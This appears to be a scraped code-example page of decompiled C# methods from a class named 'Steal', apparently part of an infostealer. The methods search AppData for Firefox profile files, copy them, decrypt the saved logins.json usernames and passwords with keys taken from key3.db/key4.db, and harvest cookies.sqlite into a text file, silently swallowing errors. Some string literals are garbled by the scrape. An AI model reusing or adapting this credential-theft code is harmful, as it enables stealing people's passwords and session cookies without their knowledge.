Пример #1
0
		// Token: 0x060000A7 RID: 167 RVA: 0x00007E3C File Offset: 0x0000603C
		public static void Lopos(string profile, byte[] privateKey, string browser_name, string profile_name)
		{
			try
			{
				string path = Steal.CreateTempCopy(Path.Combine(profile, "logins.json"));
				if (File.Exists(path))
				{
					foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"]))
					{
						JsonValue jsonValue = (JsonValue)obj;
						Gecko4 gecko = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false)));
						Gecko4 gecko2 = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false)));
						string text = Regex.Replace(Gecko6.lTRjlt(privateKey, gecko.Objects[0].Objects[1].Objects[1].ObjectData, gecko.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
						string text2 = Regex.Replace(Gecko6.lTRjlt(privateKey, gecko2.Objects[0].Objects[1].Objects[1].ObjectData, gecko2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
						Steal.credential.Add(string.Concat(new string[]
						{
							"URL : ",
							jsonValue["hostname"],
							Environment.NewLine,
							"Login: "******"Password: "******"URL : ",
							jsonValue["hostname"],
							Environment.NewLine,
							"Login: "******"Password: "******"Browser : ",
							browser_name,
							Environment.NewLine,
							"Profile : ",
							profile_name,
							Environment.NewLine,
							Steal.credential[i]
						}));
					}
					Steal.credential.Clear();
				}
			}
			catch (Exception)
			{
			}
		}
Пример #2
0
		// Token: 0x060000A1 RID: 161 RVA: 0x000078B8 File Offset: 0x00005AB8
		public static void Cookies()
		{
			List<string> list = new List<string>();
			list.AddRange(Steal.FindPaths(Steal.LocalAppData, 4, 1, new string[]
			{
				"key3.db",
				"key4.db",
				"cookies.sqlite",
				"logins.json"
			}));
			list.AddRange(Steal.FindPaths(Steal.RoamingAppData, 4, 1, new string[]
			{
				"key3.db",
				"key4.db",
				"cookies.sqlite",
				"logins.json"
			}));
			foreach (string text in list)
			{
				string fullName = new FileInfo(text).Directory.FullName;
				string browser_name = text.Contains(Steal.RoamingAppData) ? Steal.prbn(fullName) : Steal.plbn(fullName);
				string name = Steal.GetName(fullName);
				Steal.CookMhn(fullName, browser_name, name);
				string text2 = "";
				foreach (string str in Steal.Cookies_Gecko)
				{
					text2 += str;
				}
				if (text2 != "")
				{
					File.WriteAllText(Help.Cookies + "\\Cookies_Mozilla.txt", text2, Encoding.Default);
				}
			}
		}
Пример #3
0
        // Token: 0x060000F7 RID: 247 RVA: 0x0001E130 File Offset: 0x0001C330
        public static string CreateTempCopy(string filePath)
        {
            string text = Steal.CreateTempPath();

            File.Copy(filePath, text, true);
            return(text);
        }
Пример #4
0
        // Token: 0x060000F2 RID: 242 RVA: 0x0001DC38 File Offset: 0x0001BE38
        public static List <string> FindPaths(string baseDirectory, int maxLevel = 4, int level = 1, params string[] files)
        {
            List <string> list = new List <string>();

            if (files != null && files.Length != 0 && level <= maxLevel)
            {
                List <string> result;
                try
                {
                    foreach (string path in Directory.GetDirectories(baseDirectory))
                    {
                        try
                        {
                            DirectoryInfo directoryInfo = new DirectoryInfo(path);
                            FileInfo[]    files2        = directoryInfo.GetFiles();
                            bool          flag          = false;
                            int           num           = 0;
                            while (num < files2.Length && !flag)
                            {
                                int num2 = 0;
                                while (num2 < files.Length && !flag)
                                {
                                    string   a        = files[num2];
                                    FileInfo fileInfo = files2[num];
                                    if (a == fileInfo.Name)
                                    {
                                        flag = true;
                                        list.Add(fileInfo.FullName);
                                    }
                                    num2++;
                                }
                                num++;
                            }
                            foreach (string item in Steal.FindPaths(directoryInfo.FullName, maxLevel, level + 1, files))
                            {
                                if (!list.Contains(item))
                                {
                                    list.Add(item);
                                }
                            }
                        }
                        catch
                        {
                        }
                    }
                    result = list;
                }
                catch
                {
                    result = list;
                }
                return(result);
            }
            return(list);
        }
Пример #5
0
		// Token: 0x060000A0 RID: 160 RVA: 0x00007840 File Offset: 0x00005A40
		public static void Creds(string profile, string browser_name, string profile_name)
		{
			try
			{
				if (File.Exists(Path.Combine(profile, "key3.db")))
				{
					Steal.Lopos(profile, Steal.p3k(Steal.CreateTempCopy(Path.Combine(profile, "key3.db"))), browser_name, profile_name);
				}
				Steal.Lopos(profile, Steal.p4k(Steal.CreateTempCopy(Path.Combine(profile, "key4.db"))), browser_name, profile_name);
			}
			catch (Exception)
			{
			}
		}
Пример #6
0
		// Token: 0x060000A9 RID: 169 RVA: 0x00008368 File Offset: 0x00006568
		private static byte[] p3k(string file)
		{
			byte[] array = new byte[24];
			byte[] result;
			try
			{
				if (!File.Exists(file))
				{
					result = array;
				}
				else
				{
					new DataTable();
					Gecko9 berkeleyDB = new Gecko9(file);
					Gecko7 gecko = new Gecko7(Steal.vbv(berkeleyDB, (string x) => x.Equals("password-check")));
					string hexString = Steal.vbv(berkeleyDB, (string x) => x.Equals("global-salt"));
					Gecko8 gecko2 = new Gecko8(Steal.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), Steal.ConvertHexStringToByteArray(gecko.EntrySalt));
					gecko2.го7па();
					Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, Steal.ConvertHexStringToByteArray(gecko.Passwordcheck), PaddingMode.None);
					Gecko4 gecko3 = Gecko1.Create(Steal.ConvertHexStringToByteArray(Steal.vbv(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
					Gecko8 gecko4 = new Gecko8(Steal.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
					gecko4.го7па();
					Gecko4 gecko5 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko4.DataKey, gecko4.DataIV, gecko3.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData);
					if (gecko5.Objects[0].Objects[3].ObjectData.Length <= 24)
					{
						array = gecko5.Objects[0].Objects[3].ObjectData;
						result = array;
					}
					else
					{
						Array.Copy(gecko5.Objects[0].Objects[3].ObjectData, gecko5.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24);
						result = array;
					}
				}
			}
			catch (Exception)
			{
				result = array;
			}
			return result;
		}
Пример #7
0
		// Token: 0x060000A6 RID: 166 RVA: 0x00007C9C File Offset: 0x00005E9C
		public static void CookMhn(string profile, string browser_name, string profile_name)
		{
			try
			{
				CNT cnt = new CNT(Steal.CreateTempCopy(Path.Combine(profile, "cookies.sqlite")));
				cnt.ReadTable("moz_cookies");
				for (int i = 0; i < cnt.RowLength; i++)
				{
					try
					{
						Steal.domains.Add(cnt.ParseValue(i, "host").Trim());
						Steal.Cookies_Gecko.Add(string.Concat(new string[]
						{
							cnt.ParseValue(i, "host").Trim(),
							"\t",
							(cnt.ParseValue(i, "isSecure") == "1").ToString(),
							"\t",
							cnt.ParseValue(i, "path").Trim(),
							"\t",
							(cnt.ParseValue(i, "isSecure") == "1").ToString(),
							"\t",
							cnt.ParseValue(i, "expiry").Trim(),
							"\t",
							cnt.ParseValue(i, "name").Trim(),
							"\t",
							cnt.ParseValue(i, "value"),
							Environment.NewLine
						}));
					}
					catch
					{
					}
				}
			}
			catch (Exception)
			{
			}
		}